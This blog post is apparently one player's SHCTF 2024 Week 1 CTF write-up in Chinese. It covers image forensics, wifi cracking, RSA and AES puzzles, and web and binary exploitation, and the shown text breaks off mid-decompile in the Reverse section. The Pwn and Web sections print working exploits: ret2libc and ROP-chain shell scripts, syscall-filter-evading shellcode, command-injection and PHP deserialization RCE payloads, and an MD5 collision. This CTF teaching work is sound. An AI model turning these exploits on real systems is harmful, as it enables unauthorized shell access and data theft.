a✳Aura's workspace好奇心永不休眠
我的文章GitHub
Aura Blog
记录 · 探索 · 分享
AuraSHCTF2024 Week1 WP
返回知识库

SHCTF2024 Week1 WP

MISC

签到题

关注公众号发送指定消息得到 flag。

拜师之旅①

拿到一张 png,010 看一下,发现文件头缺了前 8 位,手动补一下。

补好以后发现 CRC 有问题,宽高爆破一下,修好以后可以在图片底部看到 flag。

真真假假?遮遮掩掩!

拿到一个压缩包,一眼伪加密,解压出来。

里面又是一个压缩包,有密码,最后有个提示。

一开始以为是个轴对称的密码,结果没爆出来,后面直接掩码纯数字爆破就出了,好坑😭。

解压出来的 txt 里面就是 flag。

Rasterizing Traffic

拿到一个流量包,导出 http 对象看一下,看到最后有个很大的对象。

进去看一下,发现是 POST 请求传了一个 PNG 图像,直接把这个图像取出来。

这是光栅图,可以拿工具 Raster-Terminator-1.1 直接跑,但是导出的这个图像是灰度图,用这个工具会报错。

解决方法很简单,用画图工具打开这个图,然后再另存为一张就好了。

有WiFi干嘛不用呢?

破解 wifi 密码,拿到的文件夹 may 里面是密码字典,用 aircrack-ng 直接爆就好了。

LgJakkAe66u7Fi
7fxkZUasGnJQnqCg
Ekon86XrkWhUsfNq
ZQOeVAiDTOz7qUr4
1X2Jh57g6Xcjx#FG
w6xXtbY7YXkEQFDl
YeKA9qpcwp%38be3
fJynb$S@biT%@Zs
u7HYiYqL#i4Hf4sl
Wi8rFMEM4IufCVQs
l*zKs0CFQIomU$d
PV15j@n42^C3Xz%Z
Ck8nBqOO*ZejQ
wcg12D9uC16YGp
YKPKWeaNId7OGjlZ
QTLIpFGf1Dknf2!v
lVoNHCh9O7HEiefN
72pk1RNnbqmMDyH
YvHJyuRgkiYJwNO8
sNzrt97lz9d%#ciJ
tLfZ0nFhcsCNL#
Xjla$0%FzwPIn!Vy
oAagZSXJyP8Sm3Ln
8b@sOXI*PXdmhWj9
FxCqmDoCd5UzP6
0hkJFIaVb9brETOc
3Og2TyKxCqeo6csz
WcWE6RymUHAwN1bv
$NfbciFWXJ1TM^Z5
jcIFsJZCwuUNCGGB
uMRwYbYzM*I0isNC
igA@geaJlMtWgan@
u^buGg^u1RQ52cqa
B*1Fu0U7Ww!Zx4e6
4EbXA4HZj$T4Bc$3
kXWKthWgP8AWnGY*
Qf%xjcgSd229FApt
m*2FfKD7EMvtVvp
0TUMVxz0JrUSDxHG
pt*VRqDDU%Q6p3
MY2vAMs81ywMGQQR
ShiD8Wa1iWJbJj
b5S5EiBAmEFM9ArF
gxvZiJ3mtb44Kwdy
gxvZiJ3mtb44Kwdy
9iMLVnZq5ruMdSx
1oIfvLfexS%zIF

Quarantine

拿到一个不知名的文件,结合题目描述和题目名称猜测大概是隔离区文件恢复,但是不知道是哪个杀毒软件。

找到一个 https://remnux.org/,似乎能恢复大多数杀毒软件隔离区的文件。

进入仓库看一下,distro/files at master · REMnux/distro (github.com)。

发现符合 Microsoft Defender 隔离区文件特征,往下翻,寻找恢复方式。

RC4 跑一下就可以了。

后面一串是 base64 编码后的 zip 压缩包,提出来以后发现有密码。

直接爆破无果,直接上大字典,爆出来了。

解压后就是 flag 的截图。

Crypto

Hello Crypto

from Crypto.Util.number import bytes_to_long
from secret import flag

m = bytes_to_long(flag)
print("m =",m)

# In cryptography, m stands for message, also plaintext
# so, why this m is number?
# decrypt this Message to get flag!
# m = 215055650564999508003664320029948849876761670821463073139507989253502762981585450551577835633263036021652467769726209177469

直接给了 m,long_to_bytes 回去即可。

from Crypto.Util.number import *
m = 215055650564999508003664320029948849876761670821463073139507989253502762981585450551577835633263036021652467769726209177469
print(long_to_bytes(m))
#b'SHCTF{hEI1o_CTf3R_w3lc0ME_tO_cRYPTO_WORld_c2EOCA17}'

EzAES

from Crypto.Cipher import AES
import os

iv = os.urandom(16)
key = os.urandom(16)
my_aes = AES.new(key, AES.MODE_CBC, iv)
flag = open('flag.txt', 'rb').read()
flag += (16 - len(flag) % 16) * b' '
c = my_aes.encrypt(flag)
print(c)
print(iv)
print(key)
'''
b'\x9e\xb76m\x17\xe2O8\x01V\xf5\xe0\x10\xb7\xf1\x0by\xb5B\x9d\xf9d F\xb3t{\xacH\xf7\xce\x0b\xf3\xe7\xa0\x96\xd3\xa4\\\xbd\xc5\x0bs\xcd\x0c\xc6C\x17'
b'\xaf\x8d\x1f\x92\x9d\x9f^~\xff\xd0\x14<\xe20\xab6'
b'6(\xbfW+c\xfe\xe7\xd5\xc2?\x1c\x03\xc1\x84{'

简单 AES,密文密钥偏移量全给了,直接丢 AI 跑一个脚本。

from Crypto.Cipher import AES
import os

# 假设你已经有了IV、密钥和密文
iv = b'\xaf\x8d\x1f\x92\x9d\x9f^~\xff\xd0\x14<\xe20\xab6'
key = b'6(\xbfW+c\xfe\xe7\xd5\xc2?\x1c\x03\xc1\x84{'
ciphertext = b'\x9e\xb76m\x17\xe2O8\x01V\xf5\xe0\x10\xb7\xf1\x0by\xb5B\x9d\xf9d F\xb3t{\xacH\xf7\xce\x0b\xf3\xe7\xa0\x96\xd3\xa4\\\xbd\xc5\x0bs\xcd\x0c\xc6C\x17'

# 创建解密对象
my_aes = AES.new(key, AES.MODE_CBC, iv)

# 解密
try:
    decrypted = my_aes.decrypt(ciphertext)
    print(decrypted)
except ValueError as e:
    print("解密失败:", e)
#b'SHCTF{8baa1237-e50e-4e69-b523-bde04cd7dcd6}\x00\x00\x00\x00\x00'

factor

from Crypto.Util.number import *
import random
from enc import flag

m = bytes_to_long(flag)
e = 65537
def prod(iterable):
    result = 1
    for num in iterable:
        result *= num
    return result
prime_list = [getPrime(64) for _ in  range(10) ]
N = prod(prime_list)
p_list = random.sample(prime_list,7)
n = prod(p_list)
c = pow(m,e,n)
print(f"c = {c}")
print(f"N = {N}")
'''
c = 68629152898722507001107419906443419901065529748731996788687363020701879829729561131367608588788851394701315734716980237382885845700151
N = 236186338388101619340399758564587568051056301122485801560266126027346672198019752322226531887156239199979521951512270872596400146793391081711224808279483677778658622992449714802456740422551131
'''
    

yafu 可以把这 10 个素数分出来,然后直接 dfs 搜这个 n,10 选 7。

import libnum
c = 68629152898722507001107419906443419901065529748731996788687363020701879829729561131367608588788851394701315734716980237382885845700151
N = 236186338388101619340399758564587568051056301122485801560266126027346672198019752322226531887156239199979521951512270872596400146793391081711224808279483677778658622992449714802456740422551131
e = 65537
p = [11302093393935860839,11612939404248099397,11618892200719653181,11901592396698452341,14280880653872979439,14824977662169374143,15082259430530948947,15459458766410811499,16236126667225719871,16236475682254892567]
def dfs(pos,cnt,phi,n):
    if pos==10:
        if cnt!=7:
            return
        else:
            d = libnum.invmod(e,phi)
            m = pow(c,d,n)
            flag = libnum.n2s(m)
            if b'SHCTF' in flag:
                print(flag)
                return
            return
    dfs(pos+1,cnt+1,phi*(p[pos]-1),n*p[pos])
    dfs(pos+1,cnt,phi,n)
dfs(0,0,1,1)
#b'SHCTF{5fe63e98-7526-4e80-a6c5-8328f7529004}'

baby_mod

from Crypto.Util.number import *
from enc import flag

m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
r = getPrime(777)
t = getPrime(777)
tmp = getPrime(15)
e = 65537
n = p*q
print(f"c = {pow(m,e,n)}")
print(f"leak = {p*r-q*t-tmp}")
print(f"r = {r}")
print(f"t = {t}")
'''
c = 26365875621344526661451914441526663221789159925189006789887420886723112579364729442550294802102593262202006414119367504862247736237351584106365107681117977279510804614312690356731798239205845223046263541082951625768503322866122498850617720808109108724604097011181989953810573763959227597149403796348568621472
leak = 443573140592716014066268717722917998421797691779036792316197296616741519165067306554286434780789691764305645683870127711551301746720240783798318394274143732026250848108979931400092871955262142408509184204123514882183824444034708121958375648201207278220610777369365333244370349966702945919864591116862642643141364881144279235147746748862666037891706618286798663892749572481959278436424001
r = 597343969135125976729518636455811612323200259238588787378107207280306141307123323772931665170324868604752013846546146171075578264586830524119959067431969572186897662835773091571112322865567977869391591218865755137764614691016879498331
t = 549685204621221892894990730638928787831069287658256375510235869115982579164064230281881765426320431172982271839375709730117886723524635511995601470559142455441044246163597431124988669725290332613705085949781233910753653056901452286527
'''

image

tmp 不大,可以直接爆破,然后用扩展欧几里得求解素数的丢番图方程即可,注意一下解的正负即可。

from Crypto.Util.number import *
from tqdm import tqdm
from sympy import *
import math
import libnum


def extended_gcd(a, b):
    if b == 0:
        return (a, 1, 0)
    else:
        g, x, y = extended_gcd(b, a % b)
        return (g, y, x - (a // b) * y)


def solve_diophantine_prime(a, b, c):
    # Find the modular inverse of a modulo b (since a and b are coprime)
    def mod_inverse(x, m):
        # Using Fermat's little theorem for modular inverse since m is prime
        return pow(x, m - 2, m)

    # Compute the modular inverse of a modulo b
    a_inv = mod_inverse(a, b)

    # Compute the solution for x and y
    x = (c * a_inv) % b
    y = ((c - a * x) // b)

    if isprime(x) and isprime(-y):
        return (x, y)
    else:
        return None

e = 65537
c = 26365875621344526661451914441526663221789159925189006789887420886723112579364729442550294802102593262202006414119367504862247736237351584106365107681117977279510804614312690356731798239205845223046263541082951625768503322866122498850617720808109108724604097011181989953810573763959227597149403796348568621472
leak = 443573140592716014066268717722917998421797691779036792316197296616741519165067306554286434780789691764305645683870127711551301746720240783798318394274143732026250848108979931400092871955262142408509184204123514882183824444034708121958375648201207278220610777369365333244370349966702945919864591116862642643141364881144279235147746748862666037891706618286798663892749572481959278436424001
r = 597343969135125976729518636455811612323200259238588787378107207280306141307123323772931665170324868604752013846546146171075578264586830524119959067431969572186897662835773091571112322865567977869391591218865755137764614691016879498331
t = 549685204621221892894990730638928787831069287658256375510235869115982579164064230281881765426320431172982271839375709730117886723524635511995601470559142455441044246163597431124988669725290332613705085949781233910753653056901452286527

for i in tqdm(range(2**15)):
    solution = solve_diophantine_prime(r, t, leak+i)
    if solution:
        x, y = solution
        print(f"Positive integer solution: x = {x}, y = {y}")
        phi = (x-1)*(-y-1)
        n = x*(-y)
        d = libnum.invmod(e,phi)
        m = pow(c,d,n)
        print(libnum.n2s(m))
        

d_known

from Crypto.Util.number import *
from gmpy2 import*
from flag import flag

m = bytes_to_long(flag)
p = getPrime(1024)
q = next_prime(p)
n = p * q
e = 0x10001
d = inverse(e, (p-1) * (q-1))
c = pow(m, e, n)
print(c)
print(d)

'''
c = 8968430282892496100021389969685538848104596094879239989597738454719202041065697003497201559973320223772292554894155850505792652918674365187947542766609084962997467684166684138300267904002086525648326938128063777892812689585827480466593062897462894172755353292217600804744183625864809532746956754567505827609530978716656601898884199201165631025638473772726660082809306537558139169123357697266774837198734507370131812463803495918822128244228994311066226134619438530842725359010836218600459202971922510440610099430664577645286784716235465083837461302972353382836962317623425356370261943893964799012956243877962532248404
d = 4584451063261893287987834734235751287863712026191804316340296664723477849164655984810559630291054251451001997081379767074198968955763186617384098153520211895276859425322191998146470268841474998391830431583274349365724826726903913915984440949077859818875704088880365350931772779006707964637490323791648100917890053647288604279325906942935325263682072530340566192660214420365108229004752156968686316678748481784121262822613014451308375849060366379429114399332649800042055018259897594521421545009653710626107001212510994757110792625570422223436347196964607464676289298852888874735428131941041339139450978852461179471017
'''

只给了 c,d,还要注意这里 p,q很接近,在 image 附近。

根据 image,可以得到 image,其中 image

可以直接爆破 k,得到一个 phi,根据之前的结论,可以得知 p,q 也在 image 附近,这里需要手动试一下范围,稍微移动一下就出了。

import libnum
from sympy import isprime, nextprime, prevprime

e = 0x10001
c = 8968430282892496100021389969685538848104596094879239989597738454719202041065697003497201559973320223772292554894155850505792652918674365187947542766609084962997467684166684138300267904002086525648326938128063777892812689585827480466593062897462894172755353292217600804744183625864809532746956754567505827609530978716656601898884199201165631025638473772726660082809306537558139169123357697266774837198734507370131812463803495918822128244228994311066226134619438530842725359010836218600459202971922510440610099430664577645286784716235465083837461302972353382836962317623425356370261943893964799012956243877962532248404
d = 4584451063261893287987834734235751287863712026191804316340296664723477849164655984810559630291054251451001997081379767074198968955763186617384098153520211895276859425322191998146470268841474998391830431583274349365724826726903913915984440949077859818875704088880365350931772779006707964637490323791648100917890053647288604279325906942935325263682072530340566192660214420365108229004752156968686316678748481784121262822613014451308375849060366379429114399332649800042055018259897594521421545009653710626107001212510994757110792625570422223436347196964607464676289298852888874735428131941041339139450978852461179471017
for k in range(1,e):
    if (e * d - 1) % k != 0: continue
    tphi = (e * d - 1) // k
    if len(bin(tphi))-2 != 2047: continue
    print(tphi)
    p = libnum.nroot(tphi,2)
    if isprime(p)==False:
        p = prevprime(p)
    q = nextprime(p)
    if (p-1)*(q-1)==tphi:
        n = p*q
        m = pow(c,d,n)
        print(libnum.n2s(m))
#b'SHCTF{0e3b8d7f-83df-40d8-8274-6503a19c9c2c}'

Pwn

签个到吧

ida 看一眼,发现 ban 了一些指令,可以用通配符绕过,得到 shell。

/bin/s?

然后发现 cat,ls 都会出错,应该是重定向的问题,稍微试一下,输出到文件描述符 2 就好了。

No stack overflow1

有个检测输入长度的东西,可以用 \x00 截断绕过,然后栈溢出。

同时发现后面函数,直接打 ret2text。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = remote("entry.shc.tf",xxxxx)
sh = 0x4011D6
ret = 0x4011F4
payload = b'\x00'+b'A'*271 + b'B'*8 + p64(ret) + p64(sh)
io.sendline(payload)
io.interactive()

No stack overflow2

先读入一个长度,然后在用 read 读指定长度的内容,由于 read 的第三个参数是 size_t 类型,可以直接传 -1 造成溢出,然后能够读很长的内容。

没有找到后门和 system,sh,还是动态链接,直接打 ret2libc,这题 LibcSearcher 不太靠谱,得手动去试版本。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
#context.arch = 'amd64'
elf=ELF('./vuln(1)')
#p=process('./vuln(1)')
p=remote("entry.shc.tf",xxxxx)
offset = 0x100 + 8
main_addr = elf.sym['main']
ret = 0x40101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x401223
payload_first = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil(b"size: \n")
p.sendline(b'-1')
p.recvuntil(b'input: \n')
p.sendline(payload_first)
real_puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(real_puts_addr))
#libc = LibcSearcher("puts", real_puts_addr)
#libc_base = real_puts_addr - libc.dump("puts")
#system_addr = libc_base + libc.dump("system")
#binsh_addr = libc_base + libc.dump("str_bin_sh")
libc = ELF('./libc.so')
libc_base = real_puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').__next__()
print(hex(libc_base))
sleep(1)
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.recvuntil(b'size: \n')
p.sendline(b'-1')
p.recvuntil(b'input: \n')
p.sendline(payload_end)
#p.sendline(b"ls /")
p.interactive()

No stack overflow2 pro

绕过方法同上一题。

这题是静态链接,跑一下 ROPgadget,生一个 ropchain 直接就打通了......

#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python3
# execve generated by ROPgadget
from pwn import *
from struct import pack
# Padding goes here
context.log_level = 'debug'
#io = process('./vuln(2)')
io = remote("entry.shc.tf",xxxxx)
io.recvuntil(b"size: \n")
io.sendline(b'-1')
io.recvuntil(b'input: \n')
p = b'A'*256 + b'B'*8
p += pack('<Q', 0x000000000040a32e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e50e0) # @ .data
p += pack('<Q', 0x00000000004507f7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000452d55) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a32e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e50e8) # @ .data + 8
p += pack('<Q', 0x0000000000445570) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000452d55) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004022bf) # pop rdi ; ret
p += pack('<Q', 0x00000000004e50e0) # @ .data
p += pack('<Q', 0x000000000040a32e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e50e8) # @ .data + 8
p += pack('<Q', 0x000000000049d06b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000445570) # xor rax, rax ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000048f1b0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402074) # syscall
io.sendline(p)
io.interactive()

指令执行器

ret2shellcode,但是过滤了 syscall,网上找个板子直接打通了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
#io = process('./pwn')
io = remote("entry.shc.tf",xxxxx)
io.recvuntil(b'length:')
io.sendline(b'256')
io.recvuntil(b'tion:')
shellcode = """
    /* execve(path='/bin///sh', argv=['sh','-p'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00', '-p\x00'] */
    /* push b'sh\x00-p\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x702d006873
    xor [rsp], rax
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 0xb
    pop rsi
    add rsi, rsp
    push rsi /* '-p\x00' */
    push 0x10
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push 0x3b /* 0x3b */
    pop rax
    //syscall
    push 0x050e
    inc qword ptr [rsp]
    jmp rsp
    nop
"""
#payload = asm(shellcraft.sh()).ljust(256,b'\x00')
payload = asm(shellcode).ljust(256,b'\x00')
io.send(payload)
io.interactive()

Web

单身十八年的手速

要求点击按钮 520 次以上,直接看 js 源码,找到这个。

base64 解一下就出了。

jvav

直接写一个 java RCE 即可,注意类的名称是 demo,需要和文件名一致,不然编译不过。

import java.io.IOException;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class demo {

    public static void main(String[] args) throws IOException {
        Process p = Runtime.getRuntime().exec("cat /flag");
        InputStream is=p.getInputStream();
        InputStreamReader isr=new InputStreamReader(is);
        BufferedReader br=new BufferedReader(isr);
        String line=null;
        while((line=br.readLine())!=null)
        {
            System.out.println(line);
        }
    }
}

ez_gittt

ctrl + u 看一下,发现是 .git 泄露。

GitHacker 跑下来,发现 COMMIT_EDITMSG 中是 Remove_flag,盲猜是和历史版本 diff。

得到 flag。

1zflask

题目提示 robots,直接看 /robots.txt。

访问 /s3recttt,得到源码。

import os
import flask
from flask import Flask, request, send_from_directory, send_file

app = Flask(__name__)

@app.route('/api')
def api():
    cmd = request.args.get('SSHCTFF', 'ls /')
    result = os.popen(cmd).read()
    return result
    
@app.route('/robots.txt')
def static_from_root():
    return send_from_directory(app.static_folder,'robots.txt')
    
@app.route('/s3recttt')
def get_source():
    file_path = "app.py"
    return send_file(file_path, as_attachment=True)
 
if __name__ == '__main__':
    app.run(debug=True)
    

/api 路由直接 RCE,得到 flag。

/api?SSHCTFF=cat /flag

蛐蛐?蛐蛐!

ctrl + u 看一下,进入 source.txt。

<?php
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
    if($_POST['ququ']!=null){
        $eval_param = $_POST['ququ'];
        if(strncmp($eval_param,'ququk1',6)===0){
            eval($_POST['ququ']);
        }else{
            echo("可以让fault的蛐蛐变成现实么\n");
        }
    }
    echo("蛐蛐成功第一步!\n");

}
else{
    echo("呜呜呜fault还是要出题");
}

一共两层,第一层直接传 114514a 即可,第二层可以利用分号隔断,执行多条代码,直接 RCE。

poppopop

<?php
class SH {

    public static $Web = false;
    public static $SHCTF = false;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T{

    public $n;
    public function __destruct()
    {

        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString()
    {
        SH::$SHCTF = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class SHCTF {
    public $isyou;
    public $flag;
    public function __invoke()
    {
        if (SH::$Web) {

            ($this->isyou)($this->flag);
            echo "小丑竟是我自己呜呜呜~";
        } else {
            echo "小丑别看了!";
        }
    }
}
if (isset($_GET['data'])) {
    highlight_file(__FILE__);
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
    echo "小丑离我远点!!!";
}

简单反序列化,链子很好搓,入口是 T,最后在 SHCTF 里面调用 system(command); 即可 RCE。

<?php
class SH {

    public static $Web = false;
    public static $SHCTF = false;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T{

    public $n;
    public function __destruct()
    {

        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString()
    {
        SH::$SHCTF = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class SHCTF {
    public $isyou='system';
    public $flag='cat /flllag';
    public function __invoke()
    {
        if (SH::$Web) {

            ($this->isyou)($this->flag);
            echo "小丑竟是我自己呜呜呜~";
        } else {
            echo "小丑别看了!";
        }
    }
}
$c = new C();
$f = new F();
$shctf = new SHCTF();
$c->p = $shctf;
$f->o = $c;
$t = new T();
$t->n = $f;
echo base64_encode(serialize($t));

MD5 Master

<?php
highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
    if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
        echo $master . "<br>";
        echo file_get_contents('/flag');
    }
}
else{
    die("master? <br>");
} 

md5 绕过,这个题是指定前缀构造 md5 碰撞,fastcoll 跑一个即可,然后 url 编码传入,注意有两个坑。

警告 不要用 hackbar,打不通

警告 生成的 payload 记得去掉开头的指定前缀

%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%1B%CE%26%05%9D%29o%D6%25jo%F1%DC%A9%5Bv%FF%C6vL%A9X%E01%22%82U8N%9D%E8%DF%BB%C8%E5%E8%AB%05%2F%0B%04S%216%02%0D.F%BF%2F%16%02ZE%1B%FB%3C%F4%97%12%DBv%921%14%DB%ABKnf%91%85%10%96%F7M%B6%FA%04%AAU%B5%E7%17%F8%E0%21%C9%D7%F7%C8%D5%28y.%C5%8A%1E%FB%2B%AA%7E%E6%87%B0%C1%AF%AFB%60%A8%F4%80M%16P%FEC%E8%F6%D3L%91%A3c%9A%12
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%1B%CE%26%05%9D%29o%D6%25jo%F1%DC%A9%5Bv%FF%C6%F6L%A9X%E01%22%82U8N%9D%E8%DF%BB%C8%E5%E8%AB%05%2F%0B%04S%216%82%0D.F%BF%2F%16%02ZE%1B%FB%3C%F4%17%12%DBv%921%14%DB%ABKnf%91%85%10%96%F7M%B6%FA%04%AAU%B5g%17%F8%E0%21%C9%D7%F7%C8%D5%28y.%C5%8A%1E%FB%2B%AA%7E%E6%87%B0%C1%AF%AF%C2_%A8%F4%80M%16P%FEC%E8%F6%D3L%11%A3c%9A%12

Reverse

gamegame

是个数独,直接运行程序,把谜题提出来,然后用网站解一下。

flag 就是 SHCTF 套上按顺序输入的数字。

ezxor

__int64 sub_140014C50()
{
  char *v0; // rdi
  __int64 i; // rcx
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  char v6[32]; // [rsp+0h] [rbp-20h] BYREF
  char v7; // [rsp+20h] [rbp+0h] BYREF
  char v8[288]; // [rsp+30h] [rbp+10h] BYREF
  char v9[10]; // [rsp+150h] [rbp+130h]
  char v10[266]; // [rsp+15Ah] [rbp+13Ah] BYREF
  int j; // [rsp+264h] [rbp+244h]
  int v12; // [rsp+284h] [rbp+264h]
  int v13; // [rsp+414h] [rbp+3F4h]

  v0 = &v7;
  for ( i = 162i64; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  sub_140011514(&unk_140028066);
  sub_140011271("   _____ _    _  _____ _______ ______ \n");
  sub_140011271("  / ____| |  | |/ ____|__   __|  ____|\n");
  sub_140011271(" | (___ | |__| | |       | |  | |__   \n");
  sub_140011271("  \\___ \\|  __  | |       | |  |  __|  \n");
  sub_140011271("  ____) | |  | | |____   | |  | |     \n");
  sub_140011271(" |_____/|_|  |_|\\_____|  |_|  |_|     \n");
  v2 = sub_1400110AA(std::cout, "欢迎来到shctf");
  std::ostream::operator<<(v2, sub_140011046);
  v3 = sub_1400110AA(std::cout, &unk_14001F1B0);
  std::ostream::operator<<(v3, sub_140011046);
  v4 = sub_1400110AA(std::cout, "xxxxxxxooooorrrrrrrr!!");
  std::ostream::operator<<(v4, sub_140011046);
  sub_1400110AA(std::cout, "you input flag:");
  memset(v8, 0, 0xFFui64);
  v9[0] = -61;
  v9[1] = 105;
  v9[2] = 114;
  v9[3] = -60;
  v9[4] = 103;
  v9[5] = 74;
  v9[6] = -24;
  v9[7] = 17;
  v9[8] = 67;
  v9[9] = -49;
  strcpy(v10, "o");
  v10[2] = -13;
  v10[3] = 68;
  v10[4] = 110;
  v10[5] = -8;
  v10[6] = 89;
  v10[7] = 73;
  v10[8] = -24;
  v10[9] = 78;
  v10[10] = 94;
  v10[11] = -30;
  v10[12] = 83;
  v10[13] = 67;
  v10[14] = -79;
  v10[15] = 92;
  memset(&v10[16], 0, 0xE5ui64);
  sub_1400114D8(std::cin, v8);
  for ( j = 0; j < 26; ++j )
  {
    v13 = j % 3;
    if ( j % 3 == 1 )
    {
      v8[j] ^= 0x21u;
    }
